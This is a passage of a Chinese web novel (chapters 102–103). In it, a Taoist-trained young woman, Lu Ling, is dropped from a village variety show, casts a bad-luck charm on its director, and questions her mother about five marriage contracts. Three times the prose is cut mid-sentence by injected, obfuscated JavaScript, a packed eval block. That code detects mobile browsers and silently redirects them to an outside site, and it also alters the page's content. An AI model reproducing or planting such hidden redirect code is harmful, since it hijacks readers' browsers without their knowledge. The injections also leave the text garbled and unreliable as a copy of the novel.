;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555658|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录制。只是咱们得提前打好招呼,让她尽量避开镜头冲突,低调一点,别再惹出新的风波。” 导演微微颔首,眼底闪过一丝算计。 等人走后,导演准备洗漱,上床睡觉。 现在年龄大了,多熬一点夜都不行。 就在他踏上床的下一秒,电话骤然响起,是个没有备注的电话。 职业习惯告诉他,这个电话还得接。 电话那头是男人清冷的声音,语气不带半点情绪。 直接开门见山,询问节目组与鹿翎相关的**风波,一字一句追问事情完整始末,语气带着不容置疑的压迫感。 导演心里咯噔一下。 完了,是来为林子轩撑腰、施压节目组打压鹿翎的。 毕竟林子轩在圈内也有不少人脉,如今鹿翎闹得全网非议,对方来施压再正常不过。 他连忙赔笑着含糊回应,心里快速盘算。 原本看重鹿翎的流量,可如今牵扯出圈内大人物,若是得罪对方,节目组日后在圈内寸步难行。 挂了电话,导演脸色彻底沉了下来,之前的精明算计尽数散去,只剩顾虑。 他立刻叫来副导演,语气凝重,“刚才的决定作废,鹿翎明天不能来录制,也绝不能给她任何上镜机会。” 副导演一愣,满脸疑惑:“导演,您不是说她有流量,还有反转吗?怎么突然变卦了?” “别多问,刚才圈内有人打电话过来,显然是冲着这事来的,咱们惹不起。”导演压低声音,满脸忌惮,“林子轩那边得罪不起,没必要为了一个素人赔上整个节目,反正也没签合同,只有我们几个人知道,没关系的。” 副导演瞬间了然,连连点头。 副导演走了,导演的瞌睡虫立马就消失了。 回想起刚刚那通电话,他头皮莫名发麻,不过并没有过多思考。 —— 一夜喧嚣转瞬而过。 次日清晨,鹿翎吃完余锦诗给她准备的早餐后,如约去往节目组驻地,准备商议她当客串嘉宾的事。 可刚走进节目组小院,她便敏锐觉察到气氛的异样。 第102章:赶走鹿翎;倒霉符 她平时感知力都很强,更别说现在十分明显。 一个两个全都下意识避开她的目光,神色复杂,看向她眼神里都掺杂着疏离好奇,还有几分莫名的忌惮和偏见。 有人低声交头接耳,瞥见她走近便立刻闭口不言,神色急促又尴尬。 身为节目组的人,而且还和林子轩天天待在一起,早已看过网上的争议热搜,也问过林子轩了。 早就被带入先入为主的印象,心里已经打上“傲慢难相处,脾气还不好”的标签。 没人敢主动上前搭话,只敢远远看着。 鹿翎皱皱眉,不清楚是哪里得罪了他们,不过她也没往深的想,径直往院子里走。 周身的气场,反倒让周遭议论的工作人员越发不敢靠近。 众人心里都揣着网上的**风波,先入为主地觉得,她性子张扬跋扈,目中无人。 院子里的气氛压抑得近乎凝固,所有人的眼神都带着不加掩饰的偏见,落在鹿翎身上,像一张张无形的网。 鹿翎本想径直去找导演敲定客串解说的事宜。 刚迈出两步,一道故作温和的身影便快步挡在了她面前。 是林子轩。 昨夜在网上发酵的**,让林子轩成了粉丝口中“被素人刁难的委屈艺人”。 他一早便从村民口中旁敲侧击,终于打听出了这个屡次拒绝自己、让他颜面尽失的女生名叫鹿翎。 此刻他刻意整理了衣着,脸上挂着看似温柔的笑意,试图摆出亲和的姿态。 想在众人面前挽回些许体面,也想借着这场**,让鹿翎低头服软。 “鹿翎,早上好啊。”林子轩主动开口,声音刻意放得轻柔,眼神里带着几分刻意营造的歉意,“之前是我考虑不周,贸然打扰了你,你别往心里去。” 他这番举动,落在周围工作人员眼里,俨然是姿态放得极低、主动示好的一方。 可鹿翎连眼神都未曾多给他一个,脚步未停,径直绕开他,语气淡漠得没有一丝波澜:“让开。” 没有愤怒,没有不耐,只是纯粹的不想理会,仿佛眼前的林子轩不过是无关紧要的路人。 这一幕被旁边的工作人员看在眼里,瞬间就有人忍不住站了出来。 是林子轩的一个跟组助理,平日里就对自家偶像维护至极,此刻更是满脸愤愤不平。 “鹿翎你什么态度啊!子轩哥都主动跟你道歉了,你就算心里有气,也没必要这么摆脸色吧?” 助理的话音还没完全落地,院门口骤然传来一阵急匆匆的脚步声。 步伐又重又急,带着显而易见的急躁,瞬间打破了院子里僵持的氛围。 众人下意识循声望去,就见导演一路小跑着冲了进来。 显然是被这边骤然紧张的动静彻底吸引过来。 鹿翎长相出众,气质独特,导演一眼就在人群锁定了她。 原本就难看的脸色,瞬间又沉了几分。 他快步冲到鹿翎面前,不顾周围还有不少工作人员看着,伸手就想去拽鹿翎的胳膊,想要把人拉到偏僻角落。 避免她再闹出更多动静,影响节目组的声誉。 导演压低声音,语气强硬和不耐烦,“你怎么来了?赶紧走!网上的事闹这么大,你留在这儿影响我们节目录制,之前我说的事都不做数了,我们节目组用不起你!” 他现在的想法是想把鹿翎这个“麻烦”给赶快弄走,丝毫不提自己昨天晚上还亲自邀请鹿翎的事。 态度比起之前邀约时,判若两人,现在满是不耐烦和烦躁。 鹿翎看着面前这个翻脸不认人的导演,眉宇间倒是没有什么波澜,只是心底掠过一丝不满。 本就是对方低声下气上门邀请,如今因为网上的原因随意毁约,她也算是勉强能接受吧。 但是他这种出尔反尔的做派,实在是让她很不高兴,必须给他一点小小的教训。 鹿翎没打算多做争辩,趁着导演伸手拽她的时候,不动声色地后退半步,指尖在背后飞快掐诀。 一缕淡得几乎看不见的灵光悄然弹出,精准落在导演身上。 那是倒霉符。 小时候,在镇上读小学,因为性子清冷孤僻,不爱和人打交道,父母又常年在外,自己不想爷爷奶奶,外公外婆为她操心。 就谁都没说,准备自己解决这事。 回到青云观,躲躲藏藏回了自己房间,连晚饭都没吃。 但未明子可是个道士,能掐会算的,自己宝贝徒弟出什么事,他肯定是要算一卦的。 就算出鹿翎被人欺负了,然后教了她这个倒霉符。 但是这个倒霉符,短则一天长则三天才能学会,没想到刚教鹿翎,她就学会了。 第二天回来,她嘴角有丝淡淡的笑意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557534|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后来未明子问起,如果自己不教她倒霉符,是不是要忍气吞声下去? 当时的她,已经拿上麻袋和棍子,准备贝晚上去他家把人套走打一顿。 这个倒霉符不算大灾大难,却足以让他接下来一天内诸事不顺,喝凉水塞牙,走路绊脚,事事碰壁。 也算为他这番背信弃义的举动付出点代价。 给他施加这个小符咒,鹿翎一句多余的话都懒得说,淡漠都瞥了导演一眼,转身便朝门外走去。 导演还愣在原地,没反应过来。 他还以为要过多纠缠,解决这件事要费些时候,连说辞都想好了,只不过没想到鹿翎会如此干脆。 心底莫名焦躁起来,周身也泛起一丝凉意,是当时刚才的闹剧闹得他心烦。 鹿翎刚走到院门口,便迎面碰上录制完外景回来的三位特邀嘉宾。 走到最前面的就是苏晚,身旁跟着都是那位男嘉宾,走到最后面的就是许羡。 三位刚结束户外拍摄,身上还带着些许户外的风尘,一抬眼,便撞见正往外走的鹿翎。 鹿翎脚步微顿,清冷的目光淡淡扫过迎面走来的三人。 苏晚一眼就看见了她,眼底涌上几分愧疚,当即快步上前,语气带着小心翼翼的歉意,“鹿翎,真是对不起。” 男嘉宾自然也认出了她。 他冲鹿翎微微点了点头,算是礼貌打过招呼,没过多打扰。 鹿翎也回了一个,不过她听着苏晚的话有些不解。 还以为是昨天晚上手势舞的事,便摇了摇头,“没事。” 苏晚见她还是这般风轻云淡,心里难免升起几分佩服。 要换做旁人,看见网上大规模对自己网暴,批黑图,怕早就受不了了吧。 走到最后的许羡,目光落到鹿翎身上,微微一顿,狭长的眼眸里掠过一丝不易察觉的探究。 苏晚还想说什么,但被鹿翎摆摆手,“好了,既然没什么事儿,那我就先走了,我事还挺多的。” 见状,苏晚也不好再说什么,只能满心歉意的看着她,“好,如果后面有什么需要我的,可以随时来找我。” 鹿翎轻轻颔首示意,便侧身从三人身旁擦肩而过。 就在她和许羡,也就是她妈说的那个像大哥的人,擦肩而过的一瞬间。 揣在衣服里面的婚书,骤然亮起一抹微弱却清晰的亮光。 第103章:找余锦诗对质 很淡,淡得几乎看不见,转瞬即逝。 她脚步微不可查地一顿,清冷眸光飞快掠过许羡一眼,面上依旧不动声色,径直离开这里。 许羡也同样觉察出一丝异样,一股说不清道不明的情绪,一闪而过。 他下意识抬眼望向鹿翎的背影,抿唇没说话。 —— 而另一边,节目组所在的院落里,早已乱成了一团。 导演站在原地,看着鹿翎离去的方向,心头那股莫名的焦躁越来越盛,周身的凉意也愈发明显。 总觉得有什么不好的事情要发生。 他烦躁地捋了把头发,刚想说话,脚下忽然一滑,整个人毫无预兆地往前扑去。 结结实实地摔了个狗啃泥,膝盖狠狠磕在青石板上,钻心的疼痛瞬间蔓延开来。 “导演!” 周围工作人员惊呼一声,连忙上前想要搀扶。 可偏偏就在这时,旁边摆放道具的木架不知为何突然松动。 上面的摄像机、三脚架噼里啪啦往下掉,堪堪擦着导演的头顶砸在地上,镜头瞬间摔得粉碎。 导演吓得脸色惨白,刚被工作人员扶起来,还没站稳,手里的对讲机又突然失灵。 滋滋的电流声刺耳至极。 紧接着,他揣在口袋里的手机也毫无征兆地黑屏,按了好几下都毫无反应。 “该死!怎么回事!” 导演气急败坏的低吼,想要抬脚往前走,却又被地上的麻绳绊了一下。 差点再次摔倒,额头上的冷汗瞬间冒了出来。 喝口水压压惊,结果刚拧开瓶盖,水杯就莫名脱手,水洒了一身,连胸前的工作牌都湿透了。 安排工作人员去联系林子轩的团队处理后续,电话却怎么也打不通。 就连想要坐下来歇口气,身后的椅子突然断了腿,让他狠狠摔在地上,腰疼得直不起来。 不过短短十几分钟,导演便诸事不顺,狼狈不堪,整个人灰头土脸,哪里还有半分之前的强硬气焰。 工作人员手忙脚乱地将导演扶起来,看着他一身狼狈、面色铁青的模样,一个个噤若寒蝉,不敢多言。 所有人看着导演接二连三出状况,心里只有一个念头:导演今天是真的倒了大霉! 谁没个走背字的时候,偏偏赶在这么多事的节骨眼上,诸事不顺,也只能怪他自己运气太差。 导演被扶着靠在一旁还算稳固的桌沿,腰疼得直抽气,看着满地狼藉,再想想自己刚才摔的几跤,又气又恼,满心都是憋屈。 他活了这么多年,从没像今天这般倒霉过,喝口水都能洒一身,碰什么坏什么,简直像是被霉神缠上了。 “今天真是邪门了!” —— 鹿翎一路循着路往家走,周身的清冷气息愈发浓重。 脑海里反复回放着方才与许羡擦肩而过时,婚书骤然亮起的那抹微光。 之前在江州,解决完另外两本婚书后,剩下的婚书始终沉寂无声,没有半分异动。 可她一回到天恒村,婚书便有了反应,而村里除了本地村民,就只有节目组这群外来人员。 而且在路过许羡后就有了反应。 答案已然明了,婚书的羁绊之人,就在综艺剧组里,且十有**便是许羡。 现在主要都是打开婚书,看名字到底是不是许羡。 果然,鹿翎打开婚书厚,名字男方写得就是许羡的名字! 可为什么上次她妈看见婚书后,直接走了? 这是为什么? 她压着心底的疑惑,快步推开家门,径直走进屋内。 余锦诗正坐在院子里整理刚摘的野菜,听见脚步声,抬头便对上鹿翎沉沉的目光,心头猛地一跳,下意识就想躲开。 鹿翎没给她回避的机会,径直走上前,将贴身揣着的婚书一把掏出来,轻轻丢在余锦诗面前的石桌上。 语气带着几分冷意,开门见山:“妈,上次你看见婚书就跑了,说清楚,这五本婚书到底是怎么回事?” 余锦诗看着桌上的婚书,手猛地一僵,脸上的神色瞬间变得不自然,眼神躲闪着。 不敢去看鹿翎的眼睛,手里攥着野菜的指尖都泛了白。 “什么……什么五本婚书,小五,你说什么呢,妈听不懂。”余锦诗支支吾吾,试图装傻蒙混过关,伸手就想把婚书藏起来。 鹿翎伸手按住婚书,目光直直看向她,语气不容置疑:“你别装糊涂,我去江州时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557767|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老头给我塞了五本婚书,说是你们和他给我安排的,说说吧,到底是为什么给安排这么多男人?” 安排就安排,一个是霸道总裁想要强制爱,一个还算是正常的医生。 余锦诗被她看得心底发慌,终究是瞒不过去,却依旧不肯说实话,只是叹口气,“小五,这都是上天注定的缘分,是你的宿命,你按着婚书的指引走就好,别问那么多,问多了对你没好处。” “宿命?上天安排?”鹿翎轻笑一声,眼底满是不信,“我鹿翎的人生,从不需要什么虚无缥缈的安排,你若是不肯说,我也能自己查清楚。” 她性子向来执拗,认定的事绝不会轻易放弃,余锦诗越是隐瞒,她越是觉得这婚书背后藏着不小的秘密。 余锦诗看着她态度坚决,还是半个字都不肯再多说,只是反复念叨着“都是为了你好”。 转身便匆匆回了屋,把自己关在房间里,不再理会鹿翎。 鹿翎看着余锦诗紧闭的房门,眉头紧锁。 心底的疑惑愈发深重,却也知道逼得太紧也问不出什么,只能暂时压下此事,打算日后慢慢查证。 —— 节目组依旧在天恒村进行综艺录制,日常拍摄田间劳作、乡村美食等环节,一切按流程推进,再没闹出大的动静。 林子轩全程低调。 导演也因之前接连倒霉安分不少。 苏晚和许羡等人专注拍摄,和村民相处平和。 鹿翎依旧过着平淡日子,偶尔上山喂鸡喂鸭喂小动物,不再主动靠近节目组。 只是偶尔会想起婚书异动的事,心底疑惑未消,也没再逼迫余锦诗。 退婚的事,她打算找个机会去问问许羡,总不能直接上前就问: 许先生,我是你未婚妻,这是婚书,我来找你,是为了退婚的。 这也太神经了吧。 她可不想被人当做神经病。 而就在鹿翎等待机会时,深夜,万籁俱寂,村里所有人都陷入熟睡。 天恒山深处,鹿翎早前布下的守护结界,毫无征兆地出现一道细微裂痕。 裂痕悄无声息蔓延开,一丝似有似无气息从山林渗里出来,很快融入夜色,消失无踪。